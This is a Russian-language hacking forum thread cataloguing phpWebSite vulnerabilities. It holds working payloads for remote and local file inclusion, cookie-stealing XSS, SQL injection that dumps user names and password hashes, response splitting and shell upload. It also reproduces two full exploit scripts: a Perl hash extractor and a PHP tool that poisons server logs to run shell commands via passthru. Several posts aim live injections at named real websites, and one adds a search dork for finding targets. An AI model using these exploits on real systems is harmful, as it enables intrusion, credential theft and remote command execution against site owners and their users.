[ Обзор уязвимостей phpWebSite ]

Discussion in 'Веб-уязвимости' started by Scipio, 23 Jan 2008.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Уязвимости phpWebSite

    от старых к новым:

    phpWebsite 0.8.2

    Уязвимость позволяет включать произвольный удаленный PHP файл в include_once.php или modsecurity.php скрипты:
    modsecurity.php:
    Code:
     <?php
    global $inc_prefix;
    if(!$inc_prefix) {
    ...
    }
    ...
    include_once($inc_prefix."htmlheader.php");
    ?>
    таким образом, вызов
    Code:
    http://[HOST]/modsecurity.php?inc_prefix=http://site.narod.ru/
    приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
    Code:
    http://[HOST]/ catalog/inludes/include_once.php?inc_prefix=http://site.narod.ru/
    phpWebsite 0.8.3

    Уязвимость позволяет произвести Пассивную XSS-атаку:
    Code:
    http://[HOST]/article.php?sid="><Img Src=javascript:alert(document.cookie)>
    SQL инъекции: Уязвимость существует в сценариях friend.php и article.php в параметре "sid”. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc". Пример:
    Code:
     http://[target]/friend.php?op=FriendSend&sid=-1+union+select+name+from+users+where+uid=1
    http://[target]/article.php?sid=[sql]
    phpWebsite 0.9.3

    SQL инъекция. Уязвимость обнаружена в модуле 'Calendar'. Пример:

    Code:
    http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
    =month&month=11&year=2003 and startDate <= 20071205) or ( endDate >=031101 and endDate <=20071205)) and active=1 
    Уязвимы и другие сценарии в модуле 'Calendar'.

    XSS. Уязвимость обнаружена в модулях 'Calendar', 'PageMaster', и 'Fatcat'. Примеры:
    Code:
    http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
    =day&month=2&year=2003&day=1+%00"><script>alert(‘XSS’)</script>
    Code:
     http://[HOST]/[PATH]/index.php?modu le=fatcat&fatcat[user]
    =viewCategory&fatcat_id=1%00+"><script>alert(‘XSS’)</script>
    Code:
    http://[HOST]/[PATH]/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10+"><script>alert(‘XSS’)</script>&MMN_position=[X:X]
    Code:
    http://[HOST]/[PATH]/index.php?module=search&SEA_search_op=continue&PDA_limit=10">+"><script>alert(‘XSS’)</script>
    Уязвимы все переменные

    Раскрытие инсталляционного пути:
    Code:
    http://[target]/index.php?module=calendar&calendar[view]=month&month=11&year=9
    Переполнение буфера в модуле 'Calendar’, позволяет удаленному атакующему аварийно завершить работу Web сервера. Пример:
    Code:
    http://[HOST]/[PATH]/index.php?index.php?module=calendar&calendar[view]=
    [VIEW FORM]&month=11&year=91+92+93...( больше 4000 байт )
    автор уязвимости утверждает, что ложится, веб-сервер и mysql сервер, и воизбежания этого советует:
    phpWebSite 0.9.x

    SQL инъекция. Уязвимость обнаружена в announce модуле.
    Code:
    http://[HOST]/[PATH]/index.php?module=announce&ANN_user_op=view&ANN_id='[SQL инъекция]
    phpWebSite 0.9.3-4

    XSS. Пример:
    Code:
    /index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]
    Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль.
    Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах.

    Response Splitting. Уязвимость существует в фале index.php Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы. Пример:
    Code:
     POST /index.php HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-length: 218
    Connection: Keep-Alive 
    
    module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%
    site in 0wned</html>&password=foobar
    phpWebSite 0.10.0

    Заливка шелла. Уязвимость обнаружена в модуле Announce при обработке gif файлов. Удаленный пользователь с привилегиями на загрузку файлов и публикацию анонсов может залить php сценарий на сервер. Удаленный пользователь может выдать php сценарий за gif файл (имя.gif.php) и вызвать его:
    Code:
     http://[HOST]/images/announce/имя.gif.php
    phpWebSite 0.10.1
    SQL инъекция. пример:
    Code:
    http://[HOST]/phpweb/index.php?module=[sql_injection]
    Эксплоит:
    Code:
     #!/usr/bin/perl
    use LWP::Simple;
     
    $serv     =  $ARGV[0]; 
    $path     =  $ARGV[1]; 
    $name     =  $ARGV[2];
        
    sub usage
     { 
        print "\nUsage: $0 [server] [path] [username] \n"; 
        print "sever    -  URL\n"; 
        print "path     -  path to index.php\n"; 
        print "username -  name register user\n\n"; 
        exit ();}  
     
    sub work
     {
        print qq(
           --------------------------------- 
    #==---[    phpWebSite SQL-injection     |
    #==---[   tested ob phpWebSite-0.10.0   |
    #==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
    #==---[       edisan, foster, whice     |
    #==---[ (c)oded by x97Rang 2005 RST/GHC |
    #==---[        http://rst.void.ru       |
    #==---[          http://ghc.ru          |
           ---------------------------------\n\n);&chv;&board}
           
    sub chv     
     {
        $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
        $getv = get "$ver";
    if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}  
     
    sub board 
     {
        $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);   
        $content = get "$URL";
    if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
     
    sub showh
     {
        print "[*] User: $name\n";
        print "[*] Hash: $2\n\n";}
        
    if (@ARGV != 3){&usage;}else{&work;}
    
    # milw0rm.com [2005-09-15]

    phpWebSite 0.10.2

    Локальный инклюд. Уязвимость позволяет удаленному пользователю просмотреть (и принклюдить) произвольные локальные файлы. Уязвимость существует в параметре "hub_dir" сценария "index.php". Для успешной эксплуатации уязвимости опция "magic_quotes_gpc" должна быть отключена. Невозможность инклюда удаленных файлов существует из-за фильтрации символов “://” в уязвимом параметре с помощью условия:
    Code:
     if (!preg_match ("/:\/\//i", $hub_dir)) {
        loadConfig($hub_dir);
    } else {
        exit('FATAL ERROR! Hub directory was malformed.');
    Эксплоит
    Code:
     #!/usr/bin/php -q -d short_open_tag=on
    <?
    echo "PHPWebSite <= 0.10.2 remote cmmnds xctn\r\n";
    echo "-> arbitrary local inclusion, works with magic_quotes_gpc = Off\r\n";
    echo "by rgod, mail: [email protected]\r\n";
    echo "site: http://retrogod.altervista.org\r\n\r\n";
    
    if ($argc<4) {
    echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
    echo "host:      target server (ip/hostname)\r\n";
    echo "path:      path to phpwebsite\r\n";
    echo "cmd:       a shell command\r\n";
    echo "Options:\r\n";
    echo "   -p[port]:    specify a port other than 80\r\n";
    echo "   -P[ip:port]: specify a proxy\r\n";
    echo "Examples:\r\n";
    echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n";
    die;
    }
    
    /* explaination:
     vulnerable code in index.php at lines 21-29:
    
    ...
     if (!isset($hub_dir)) {
        $hub_dir = NULL;
    }
    if (!preg_match ("/:\/\//i", $hub_dir)) {
        loadConfig($hub_dir);
    } else {
        exit('FATAL ERROR! Hub directory was malformed.');
    }
    ...
    
    and at lines 125-143:
    
    ...
    function loadConfig($hub_dir){
    
        if (file_exists($hub_dir . 'conf/config.php')) {
     	if (filesize($hub_dir . 'conf/config.php') > 0) {
    	    include($hub_dir . 'conf/config.php');
    
    	    define('PHPWS_SOURCE_DIR', $source_dir);
    
    
    	} else {
    
    	    header('Location: ./setup/set_config.php');
    	    exit();
    	}
        } else {
    	header('Location: ./setup/set_config.php');
    	exit();
        }
    }
    ....
    
    so, you can include files from local resources, poc:
    
    http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00
    
    you don't see output, but we have some code in log files, it will be executed
    
    also, on php5, arbitrary remote inclusion:
    
    http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\
    
    including a full accessible share
    where on samba resource you have some code in conf/config.php
    									      */
    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);
    
    function quick_dump($string)
    {
      $result='';$exa='';$cont=0;
      for ($i=0; $i<=strlen($string)-1; $i++)
      {
       if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
       {$result.="  .";}
       else
       {$result.="  ".$string[$i];}
       if (strlen(dechex(ord($string[$i])))==2)
       {$exa.=" ".dechex(ord($string[$i]));}
       else
       {$exa.=" 0".dechex(ord($string[$i]));}
       $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
      }
     return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    function sendpacketii($packet)
    {
      global $proxy, $host, $port, $html, $proxy_regex;
      if ($proxy=='') {
        $ock=fsockopen(gethostbyname($host),$port);
        if (!$ock) {
          echo 'No response from '.$host.':'.$port; die;
        }
      }
      else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
          echo 'Not a valid proxy...';die;
        }
        $parts=explode(':',$proxy);
        echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) {
          echo 'No response from proxy...';die;
        }
      }
      fputs($ock,$packet);
      if ($proxy=='') {
        $html='';
        while (!feof($ock)) {
          $html.=fgets($ock);
        }
      }
      else {
        $html='';
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
          $html.=fread($ock,1);
        }
      }
      fclose($ock);
      #debug
      #echo "\r\n".$html;
    }
    
    $host=$argv[1];
    $path=$argv[2];
    $cmd="";$port=80;$proxy="";
    
    for ($i=3; $i<=$argc-1; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if (($temp<>"-p") and ($temp<>"-P"))
    {$cmd.=" ".$argv[$i];}
    if ($temp=="-p")
    {
      $port=str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
      $proxy=str_replace("-P","",$argv[$i]);
    }
    }
    $cmd=urlencode($cmd);
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    
    echo "[1] Injecting some code in log files...\r\n";
    $CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
    $CODE.='passthru($_GET[cmd]);echo 666;die;?>';
    $packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
    $packet.="User-Agent: ".$CODE."\r\n";
    $packet.="Host: ".$serv."\r\n";
    $packet.="Connection: close\r\n\r\n";
    #debug
    #echo quick_dump($packet);
    sendpacketii($packet);
    sleep(2);
    
    # fill with possible locations
    $paths= array (
      "/var/log/httpd/access_log",
      "/var/log/httpd/error_log",
      "../apache/logs/error.log",
      "../apache/logs/access.log",
      "../../apache/logs/error.log",
      "../../apache/logs/access.log",
      "../../../apache/logs/error.log",
      "../../../apache/logs/access.log",
      "../../../../apache/logs/error.log",
      "../../../../apache/logs/access.log",
      "/etc/httpd/logs/acces_log",
      "/etc/httpd/logs/acces.log",
      "/etc/httpd/logs/error_log",
      "/etc/httpd/logs/error.log",
      "/var/www/logs/access_log",
      "/var/www/logs/access.log",
      "/usr/local/apache/logs/access_log",
      "/usr/local/apache/logs/access.log",
      "/var/log/apache/access_log",
      "/var/log/apache/access.log",
      "/var/log/access_log",
      "/var/www/logs/error_log",
      "/www/logs/error.log",
      "/usr/local/apache/logs/error_log",
      "/usr/local/apache/logs/error.log",
      "/var/log/apache/error_log",
      "/var/log/apache/error.log",
      "/var/log/access_log",
      "/var/log/error_log",
    );
    
    for ($i=0; $i<=count($paths)-1; $i++)
    {
      $j=$i+2;
      echo "[".$j."] Trying with ".$paths[$i]."%00\r\n";
      $xpl=$paths[$i];
      $packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      #debug, shows packets in a nice format
      #echo quick_dump($packet);
      sendpacketii($packet);
      if (strstr($html,"666")){
        echo "Exploit succeeded...\r\n";
        $temp=explode("666",$html);
        echo $temp[1];
        die;
      }
    }
    #if you are here...
    echo "Exploit failed...";
    ?>
    
    # milw0rm.com [2006-04-14]
    phpWebSite 1.4.0

    XSS. Уязвимость в параметре "search" в модуле поиска, пример:
    Code:
     http://[host]/search.php?query=”><script>alert('XSS')</script>
    Ну и от себя, вроде описания этой баги не нашел:

    SQL инъекция, версию не узнал, так как нигде не нашел CHANGELOG.txt
    существует в модуле downloads в параметре lid, Пример:
    Code:
    http://[host]/mod.php?mod=downloads&op=getit&lid=-1+union+select+concat(name,0x3a,pass),2+from+users/*
    рабочий пример:
    Code:
    http://www.heimplatzsuche.de/mod.php?mod=downloads&op=getit&lid=68+union+select+concat(name,0x3a,pass),2+from+users/*
    Не очень удобна в эксплуатации, посмотрите, поймете почему;)
     
    4 people like this.
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Вот еще от меня XSS:
    версию опять же неузнал, но везде где пробовал работает:
    Code:
    http://[host]/mod.php?mod=userpage&menu=1210&page_id=[несуществующая страница]<script>alert(/xss/)</script>
    пример:
    Code:
    http://pcburn.com/mod.php?mod=userpage&menu=1210&page_id=-1<script>alert(/xss/)</script>
     
    2 people like this.
  3. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Молодец.)
    нет не обязательно.. просто ? добавляешь в конец,)
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    В дополнение найденое мной в версии 0.8.2(думаю будет работать и на других аналогичных)
    раскрытие пути
    Сценарий mod параметр mod(неверный параметр, или в массив)
    Code:
    http://[target]/mod.php?mod=
    Code:
    http://[target]/mod.php?mod[]=
    пассивные XSS
    сценарии article.php friend.php параметр sid
    Code:
    http://[target]/article.php?op=Print&sid=17<script>alert(11111)</script>
    Code:
    http://[target]/friend.php?op=FriendSend&sid=17"/><script>alert(/1/)</script>
    модуль newsletter
    Code:
    http://[target]/mod.php?mod=newsletter&op=archive&id=44"/><script>alert(/1/)</script>
    Code:
    http://[target]/mod.php?mod=newsletter&op=read&id=706&listid=44"/><script>alert(/1/)</script>
    в поиске
    "/><script>alert(/1/)</script>
    Code:
    http://[target]/search.php
    в форму пойска модуля faq >><script>alert(11111)</script>
    Code:
    http://[target]/mod.php?mod=faq&op=search_form
    И последняя работает не везде, почему не разобрался
    Code:
    http://[target]/mod.php?mod=faq>><script>alert(11111)</script>
    Всё найденное точно работает в версии 0.8.2, также проверялось на нескольких неопознанных версиях
     
    2 people like this.
  5. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    phpwebsite, модуль article sql inj
    example:
    Code:
    [B]http://www.phpwebsitemanual.com/index.php?module=article&email=4+union+select+1,2,3,4,5,6,7,8,9,10,load_file(0x3b),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*[/B]
    phpwebsite, модуль announce sql inj
    example:
    Code:
    [B]http://www.phpwebsitemanual.com/index.php?module=announce&ANN_user_op=categories&category=4+order+by+2/*&list=categories&PAGER_limit=5&PAGER_start=0&PAGER_section=1[/B]
    /ps
    google it:
    Code:
    http://www.google.ru/search?q=inurl:?module=article+inurl:email
    *edit
     
    #5 l1ght, 19 May 2008
    Last edited: 19 May 2008
    2 people like this.
  6. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    POST запрос на странице http://site/index.php?module=users &action=user&command=signup_user
    Code:
    "><BODY onload=alert(document.cookie)>
    В полях: Password и Confirm (вместе), Email Address